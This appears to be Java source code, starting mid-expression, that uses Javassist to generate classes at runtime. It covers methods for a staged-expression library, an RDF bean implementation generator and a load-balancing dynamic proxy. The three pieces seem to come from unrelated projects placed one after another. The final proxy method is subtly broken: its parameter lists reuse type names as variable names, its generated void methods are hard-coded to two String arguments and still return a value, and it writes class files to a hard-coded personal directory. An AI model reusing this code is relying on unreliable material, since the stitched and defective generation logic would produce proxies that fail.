"payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
+ ") {\n"
+ " arguments["
+ i
+ "] = payload.getRaw();\n"
+ " } else {\n"
+ " payload.evaluate();\n"
// This handles the weird case when the materialized argument could be globally
// carried and might need unloading and checking
// We know that it is an ObjectValue instance
+ " "
+ Util.EXPRESSION_CLASS.getName()
+ " value = payload.asValueIfEvaluated();\n"
+ " Object obj = value.materializeAsObject(); \n"
+ " if (obj instanceof "
+ Util.GLOBAL_CARRIER_CLASS.getName()
+ ") {\n"
+ " payload = "
+ Util.DISPATCHER_CLASS.getName()
+ ".unloadGlobalCarrier(("
+ Util.GLOBAL_CARRIER_CLASS.getName()
+ ") obj);\n"
+ " if (payload == null || !("
+ generateLanguageAcceptCheck(
"payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
+ ")) {\n"
+ " arguments["
+ i
+ "] = value;\n"
+ " } else {\n"
+ " arguments["
+ i
+ "] = payload;\n"
+ " }\n"
+ " } else {\n"
+ " arguments["
+ i
+ "] = value;\n"
+ " }\n"
+ " }\n"
+ " } else if (argument"
+ i
+ " instanceof "
+ Util.GLOBAL_CARRIER_CLASS.getName()
+ ") {\n"
+ " payload = "
+ Util.DISPATCHER_CLASS.getName()
+ ".unloadGlobalCarrierChecked(("
+ Util.GLOBAL_CARRIER_CLASS.getName()
+ ") argument"
+ i
+ ");\n"
+ " if (!("
+ generateLanguageAcceptCheck(
"payload", args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
+ ")) {\n"
+ " arguments["
+ i
+ "] = "
+ Util.DISPATCHER_CLASS.getName()
+ ".selfLiftGlobalCarrier(("
+ Util.GLOBAL_CARRIER_CLASS.getName()
+ ") argument"
+ i
+ ");\n"
+ " } else {\n"
+ " arguments["
+ i
+ "] = payload;\n"
+ " }\n"
+ " } else {\n"
+ " arguments["
+ i
+ "] = "
+ Util.DISPATCHER_CLASS.getName()
+ "."
+ Util.getLiftMethodName(Type.OBJECT)
+ "(argument"
+ i
+ ");\n"
+ " }\n");
} else {
invokeSource.append(
" if ("
+ generateLanguageAcceptCheck(
"argument" + i, args.get(i).getAcceptedLanguages(), acceptedLanguageMap)
+ ") {\n"
+ " arguments["
+ i
+ "] = argument"
+ i
+ generateConversionSuffix(args.get(i).getType())
+ ".getRaw();\n"
+ " } else {\n"
+ " argument"
+ i
+ ".evaluate();\n"
+ " arguments["
+ i
+ "] = argument"
+ i
+ ".asValueIfEvaluated();\n"
+ " }\n");
}
}
String construction;
if (!staged.getStaticInfoElements().isEmpty()) {
construction = "new " + clazz.getName() + "(arguments, staticInfo, closureHolder)";
} else {
construction = "new " + clazz.getName() + "(arguments, null, closureHolder)";
}
if (staged.isStrict()) {
Type type = staged.getType();
if (type.isReference()) {
invokeSource.append(
" return ("
+ type.getCtClass().getName()
+ ") ("
+ construction
+ ").materializeAsObject();\n");
} else if (type.equals(Type.BOOLEAN)) {
invokeSource.append(" return (" + construction + ").materializeAsBoolean();\n");
} else if (type.equals(Type.INT)) {
invokeSource.append(" return (" + construction + ").materializeAsInteger();\n");
} else if (type.equals(Type.LONG)) {
invokeSource.append(" return (" + construction + ").materializeAsLong();\n");
} else if (type.equals(Type.FLOAT)) {
invokeSource.append(" return (" + construction + ").materializeAsFloat();\n");
} else if (type.equals(Type.DOUBLE)) {
invokeSource.append(" return (" + construction + ").materializeAsDouble();\n");
} else if (type.equals(Type.BYTE)) {
invokeSource.append(" return (" + construction + ").materializeAsByte();\n");
} else if (type.equals(Type.CHAR)) {
invokeSource.append(" return (" + construction + ").materializeAsCharacter();\n");
} else if (type.equals(Type.SHORT)) {
invokeSource.append(" return (" + construction + ").materializeAsShort();\n");
} else if (type.equals(Type.VOID)) {
invokeSource.append(" return (" + construction + ").evaluate();\n");
}
} else {
if (Util.isGlobalCarrier(staged.getType())) {
if (staged.getType().getCtClass().equals(Util.GLOBAL_CARRIER_CLASS)) {
invokeSource.append(
" return new "
+ Util.GLOBAL_CARRIER_CLASS.getName()
+ "("
+ construction
+ ");\n");
} else {
CarrierTransformer.transformCarrierChecked(staged.getType().getCtClass());
invokeSource.append(
" return new "
+ staged.getType().getCtClass().getName()
+ "(("
+ Util.DISAMBIGUATION_PARAMETER_CLASS.getName()
+ ") null, "
+ construction
+ ");\n");
}
} else if (Util.isLocalCarrier(staged.getType())) {
if (staged.getType().getCtClass().equals(Util.LOCAL_CARRIER_CLASS)) {
invokeSource.append(
" return new "
+ Util.LOCAL_CARRIER_CLASS.getName()
+ "("
+ construction
+ ");\n");
} else {
CarrierTransformer.transformCarrierChecked(staged.getType().getCtClass());
invokeSource.append(
" return new "
+ staged.getType().getCtClass().getName()
+ "(("
+ Util.DISAMBIGUATION_PARAMETER_CLASS.getName()
+ ") null, "
+ construction
+ ");\n");
}
} else if (staged.getType().isReference()) {
invokeSource.append(
" return new " + Util.LOCAL_CARRIER_CLASS.getName() + "(" + construction + ");\n");
} else {
invokeSource.append(" return " + construction + ";\n");
}
}
invokeSource.append("}");
CtMethod invoke = CtMethod.make(invokeSource.toString(), clazz);
clazz.addMethod(invoke);
// Make isomorphic hash code method
String isomorphicHashCodeSource =
"int isomorphicHashCode() {\n"
+ " if (!$0.isomorphicHashCodeHasBeenCalculated) {\n"
+ " super.isomorphicHashCode("
+ staged.getMember().hashCode()
+ ");\n"
+ " }"
+ " return $0.isomorphicHashCode;"
+ "}";
CtMethod isomorphicHashCode = CtMethod.make(isomorphicHashCodeSource, clazz);
clazz.addMethod(isomorphicHashCode);
// Make isomorphism check method
String isIsomorphicToSource =
"boolean isIsomorphicTo(java.util.IdentityHashMap identityMap, "
+ Util.EXPRESSION_CLASS.getName()
+ " expression) {\n"
+ " if (!(expression instanceof "
+ clazz.getName()
+ ")) { return false; }\n"
+ " return super.isIsomorphicTo(identityMap, expression);\n"
+ "}";
CtMethod isIsomorphicTo = CtMethod.make(isIsomorphicToSource, clazz);
clazz.addMethod(isIsomorphicTo);
// Make cache clone (with empty leaves to save memory) creation method
String cacheCloneSource =
Util.EXPRESSION_CLASS.getName()
+ " cacheClone(java.util.IdentityHashMap identityMap) {\n"
+ " "
+ Util.EXPRESSION_CLASS.getName()
+ " e = ("
+ Util.EXPRESSION_CLASS.getName()
+ ") identityMap.get(this);\n"
+ " if (e != null) {\n"
+ " return e;\n"
+ " } else {\n"
+ " "
+ Util.EXPRESSION_CLASS.getName()
+ "[] clonedArguments = super.cacheCloneArguments(identityMap);\n"
+ " if (clonedArguments != null) {\n"
+ " "
+ clazz.getName()
+ " s = new "
+ clazz.getName()
+ "(clonedArguments, $0.staticInfo, null);\n"
+ " s.isomorphicHashCode = $0.isomorphicHashCode();\n"
+ " s.isomorphicHashCodeHasBeenCalculated = true;\n"
+ " identityMap.put(this, s);\n"
+ " return s;\n"
+ " } else {\n"
+ " identityMap.put(this, this);\n"
+ " return this;\n"
+ " }\n"
+ " }\n"
+ "}";
CtMethod cacheClone = CtMethod.make(cacheCloneSource, clazz);
clazz.addMethod(cacheClone);
// Make language acceptance check method
String isAcceptedBySource =
"boolean isAcceptedBy("
+ CtClass.class.getName()
+ " language) { return $0.language.equals(language); }";
CtMethod isAcceptedBy = CtMethod.make(isAcceptedBySource, clazz);
clazz.addMethod(isAcceptedBy);
// Make polymorphic member retrieval method
String getMemberSource =
"public " + memberClassName + " getMember() { return $0." + memberName + "; }";
CtMethod getMember = CtMethod.make(getMemberSource, clazz);
clazz.addMethod(getMember);
// Make evaluation method
Class<?> closureInterface = getClosureInterface(staged.getType());
String evaluateSource;
if (Util.isGlobalCarrier(staged.getType()) && !staged.isStrict()) {
evaluateSource = "public void evaluate() { throw new UnsupportedOperationException(); }";
} else {
evaluateSource =
"public void evaluate() {\n"
+ " if ($0.value != null) { return; }\n"
+ " "
+ closureInterface.getName()
+ " closure;\n"
+ " "
+ Util.ENVIRONMENT_CLASS.getName()
+ " environment;\n"
+ " if ($0.closureHolder == null) {\n"
+ " "
+ Util.CLOSURE_HOLDER_CLASS.getName()
+ " cachedClosureHolder = "
+ GlobalCache.class.getName()
+ ".getCachedClosureHolder($0);\n"
+ " if (cachedClosureHolder == null) {\n"
+ " "
+ Util.BINDER_CLASS.getName()
+ " binder = new "
+ Util.BINDER_CLASS.getName()
+ "($0);\n"
+ " closure = "
+ staged.getLanguage().getName()
+ ".make"
+ closureInterface.getSimpleName()
+ "($0, binder, false);\n"
+ " environment = new "
+ Util.ENVIRONMENT_CLASS.getName()
+ "($0, binder.getBoundCount());\n"
+ " if (!binder.inspectionOccurred()) {\n"
+ " "
+ GlobalCache.class.getName()
+ ".cache($0, closure, binder.getBoundCount());\n"
+ " }\n"
+ " } else {\n"
+ " closure = ("
+ closureInterface.getName()
+ ") cachedClosureHolder.getClosure();\n"
+ " environment = new "
+ Util.ENVIRONMENT_CLASS.getName()
+ "($0, cachedClosureHolder.getEnvironmentSize());\n"
+ " }\n"
+ " } else {\n"
+ " closure = ("
+ closureInterface.getName()
+ ") $0.closureHolder.getClosure();\n"
+ " if (closure == null) {\n"
+ " "
+ Util.CLOSURE_HOLDER_CLASS.getName()
+ " cachedClosureHolder = "
+ GlobalCache.class.getName()
+ ".getCachedClosureHolder($0);\n"
+ " if (cachedClosureHolder == null) {\n"
+ " "
+ Util.BINDER_CLASS.getName()
+ " binder = new "
+ Util.BINDER_CLASS.getName()
+ "($0);\n"
+ " closure = "
+ staged.getLanguage().getName()
+ ".make"
+ closureInterface.getSimpleName()
+ "($0, binder, $0.closureHolder.isPermanent());\n"
+ " environment = new "
+ Util.ENVIRONMENT_CLASS.getName()
+ "($0, binder.getBoundCount());\n"
+ " if (!binder.inspectionOccurred()) {\n"
+ " $0.closureHolder.set(closure, binder.getBoundCount());\n"
+ " "
+ GlobalCache.class.getName()
+ ".cache($0, closure, binder.getBoundCount());\n"
+ " }\n"
+ " } else {\n"
+ " closure = ("
+ closureInterface.getName()
+ ") cachedClosureHolder.getClosure();\n"
+ " environment = new "
+ Util.ENVIRONMENT_CLASS.getName()
+ "($0, cachedClosureHolder.getEnvironmentSize());\n"
+ " $0.closureHolder.set(closure, cachedClosureHolder.getEnvironmentSize());\n"
+ " }\n"
+ " } else {\n"
+ " environment = new "
+ Util.ENVIRONMENT_CLASS.getName()
+ "($0, $0.closureHolder.getEnvironmentSize());\n"
+ " }\n"
+ " }\n"
+ (staged.getType().equals(Type.VOID)
? " closure.evaluate(environment);\n"
: " $0.value = "
+ Util.DISPATCHER_CLASS.getName()
+ "."
+ Util.getLiftMethodName(staged.getType())
+ "(closure.evaluate(environment));\n")
+ "}";
}
CtMethod evaluate = CtMethod.make(evaluateSource, clazz);
clazz.addMethod(evaluate);
clazz.toClass();
} catch (CannotCompileException | NotFoundException e) {
throw new RuntimeException(e);
}
return clazz;
}
/**
* Given a bean-style interface, generate an instance of the interface by implementing getters and
* setters for each property. It will also add implementations to support the {@link
* SupportsRdfId} interface and generate simple, default equals, toString and hashCode methods.
*
* <p>If there are other non-bean style (getter and/or setter's for properties) methods on the
* interface, this will likely fail to generate the instance.
*
* @param theInterface the interface to build an instance of
* @param <T> the type of the interface
* @return New dynamically generated bytecode of a class that implements the given interface.
* @throws Exception if there is an error while generating the bytecode of the new class.
*/
public static synchronized <T> Class<T> generateInstanceClass(Class<T> theInterface)
throws Exception {
processedMethods.clear();
// TODO: can we use some sort of template language for this?
ClassPool aPool = ClassPool.getDefault();
aPool.appendClassPath(new LoaderClassPath(theInterface.getClassLoader()));
CtClass aInterface = aPool.get(theInterface.getName());
CtClass aSupportsRdfIdInterface = aPool.get(SupportsRdfId.class.getName());
CtClass aEmpireGeneratedInterface = aPool.get(EmpireGenerated.class.getName());
if (!Arrays.asList(aInterface.getInterfaces()).contains(aSupportsRdfIdInterface)
&& !SupportsRdfId.class.isAssignableFrom(theInterface)) {
throw new IllegalArgumentException(
"Class '"
+ theInterface.getName()
+ "' does not implement SupportsRdfId, cannot generate Empire suitable implementation.");
}
String aName = aInterface.getPackageName() + ".impl." + aInterface.getSimpleName() + "Impl";
CtClass aClass = null;
try {
// i had a good reason for doing this, but i dont remember what it is. when i do, i'll
// explain it here =)
aClass = aPool.get(aName);
return (Class<T>) BeanReflectUtil.loadClass(aName);
} catch (NotFoundException e) {
aClass =
aPool.makeClass(
aInterface.getPackageName() + ".impl." + aInterface.getSimpleName() + "Impl");
} catch (ClassNotFoundException e) {
throw new Exception("Previously created class cannot be loaded.", e);
}
if (aClass.isFrozen()) {
aClass.defrost();
}
if (aInterface.isInterface()) {
aClass.addInterface(aInterface);
} else {
aClass.setSuperclass(aInterface);
}
aClass.addInterface(aSupportsRdfIdInterface);
aClass.addInterface(aEmpireGeneratedInterface);
CtField aInterfaceField =
new CtField(aPool.get(Class.class.getName()), "mInterfaceClass", aClass);
aClass.addField(
aInterfaceField, CtField.Initializer.byExpr(theInterface.getName() + ".class;"));
CtField aAllTriplesField = new CtField(aPool.get(Graph.class.getName()), "mAllTriples", aClass);
aClass.addField(
aAllTriplesField, CtField.Initializer.byExpr("new com.clarkparsia.openrdf.ExtGraph();"));
CtField aInstanceTriplesField =
new CtField(aPool.get(Graph.class.getName()), "mInstanceTriples", aClass);
aClass.addField(
aInstanceTriplesField,
CtField.Initializer.byExpr("new com.clarkparsia.openrdf.ExtGraph();"));
aClass.addConstructor(CtNewConstructor.defaultConstructor(aClass));
generateMethods(theInterface, aPool, aClass);
generateMethodsForSuperInterfaces(theInterface, aPool, aClass);
CtField aIdField = new CtField(aPool.get(SupportsRdfId.class.getName()), "supportsId", aClass);
aClass.addField(
aIdField,
CtField.Initializer.byExpr("new com.clarkparsia.empire.annotation.SupportsRdfIdImpl();"));
if (!hasMethod(aClass, "getRdfId")) {
aClass.addMethod(
CtNewMethod.make(
"public com.clarkparsia.empire.SupportsRdfId.RdfKey getRdfId() { return supportsId.getRdfId(); } ",
aClass));
}
if (!hasMethod(aClass, "setRdfId")) {
aClass.addMethod(
CtNewMethod.make(
"public void setRdfId(com.clarkparsia.empire.SupportsRdfId.RdfKey theURI) { supportsId.setRdfId(theURI); } ",
aClass));
}
if (!hasMethod(aClass, "getAllTriples")) {
aClass.addMethod(
CtNewMethod.make(
"public org.openrdf.model.Graph getAllTriples() { return mAllTriples; } ", aClass));
}
if (!hasMethod(aClass, "setAllTriples")) {
aClass.addMethod(
CtNewMethod.make(
"public void setAllTriples(org.openrdf.model.Graph theGraph) { mAllTriples = theGraph; } ",
aClass));
}
if (!hasMethod(aClass, "getInstanceTriples")) {
aClass.addMethod(
CtNewMethod.make(
"public org.openrdf.model.Graph getInstanceTriples() { return mInstanceTriples; } ",
aClass));
}
if (!hasMethod(aClass, "setInstanceTriples")) {
aClass.addMethod(
CtNewMethod.make(
"public void setInstanceTriples(org.openrdf.model.Graph theGraph) { mInstanceTriples = theGraph; } ",
aClass));
}
String equalsMethodBody =
"public boolean equals(Object theObj) {\n"
+ " if (theObj == this) return true;\n"
+ " if (!(theObj instanceof com.clarkparsia.empire.SupportsRdfId)) return false;\n"
+ " if (!(mInterfaceClass.isAssignableFrom(theObj.getClass()))) return false;\n"
+ " return getRdfId().equals( ((com.clarkparsia.empire.SupportsRdfId) theObj).getRdfId()) && super.equals(theObj);\n"
+ "}\n";
aClass.addMethod(CtNewMethod.make(equalsMethodBody, aClass));
if (theInterface.isInterface()) {
aClass.addMethod(
CtNewMethod.make(
"public String toString() { return getRdfId() != null ? getRdfId().toString() : super.toString(); } ",
aClass));
aClass.addMethod(
CtNewMethod.make(
"public int hashCode() { return getRdfId() != null ? getRdfId().hashCode() : 0; } ",
aClass));
}
aClass.freeze();
Class<T> aResult = (Class<T>) aClass.toClass();
try {
// make sure this is a valid class, that is, we can create instances of it!
aResult.newInstance();
} catch (Exception ex) {
// TODO: log this?
throw ex;
}
return aResult;
}
// 用javassit得到动态代理
public T createJavassistBytecodeDynamicProxy(
LoadBalancer loadBalance, ConcurrentMap<String, T> map, Class ifaces) {
try {
ClassPool mPool = new ClassPool(true);
CtClass mCtc = mPool.makeClass(ifaces.getName() + "JavaassistProxy");
mCtc.addInterface(mPool.get(ifaces.getName()));
mCtc.addConstructor(CtNewConstructor.defaultConstructor(mCtc));
mCtc.addField(CtField.make("public " + loadBalance.getClass().getName() + " sub;", mCtc));
mCtc.addField(CtField.make("public " + map.getClass().getName() + " map;", mCtc));
// mCtc.addField(CtField.make("public " + ArrayList.class.getName() + " list;",
// mCtc));
mCtc.addMethod(
CtNewMethod.make(
"public Object getRealClient() { return (Object)sub.select(new "
+ ArrayList.class.getName()
+ "(map.values())); }",
mCtc));
// 获取接口的方法
for (Method method : ifaces.getMethods()) {
Class returnType = method.getReturnType();
String modifiers = "public";
if (Modifier.PUBLIC == method.getModifiers()) {
modifiers = "public";
} else if (Modifier.PROTECTED == method.getModifiers()) {
modifiers = "protected";
} else if (Modifier.PRIVATE == method.getModifiers()) {
modifiers = "private";
}
Class<?>[] parameter = method.getParameterTypes();
String params = "";
String ps = "";
for (Class param : parameter) {
params += param.getName() + " " + param.getName() + ",";
ps += param.getName() + ",";
}
if (params.equals("")) {
params = "";
ps = "";
} else {
params = params.substring(0, params.length());
ps = ps.substring(0, ps.length());
}
mCtc.addMethod(
CtNewMethod.make(
modifiers
+ " void "
+ method.getName()
+ "(String a,String b){ Object t=this.getRealClient(); return (("
+ ifaces.getName()
+ ")t)."
+ method.getName()
+ "(a,b) ;}",
mCtc));
// mCtc.addMethod(CtNewMethod.make("public int count() { return
// delegate.count(); }", mCtc));
}
Class<?> pc = mCtc.toClass();
mCtc.debugWriteFile("/home/liguojun");
mCtc.writeFile("/home/liguojun");
T bytecodeProxy = (T) pc.newInstance();
Field filed = bytecodeProxy.getClass().getField("sub");
filed.set(bytecodeProxy, loadBalance);
Field filed1 = bytecodeProxy.getClass().getField("map");
filed1.set(bytecodeProxy, map);
return bytecodeProxy;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}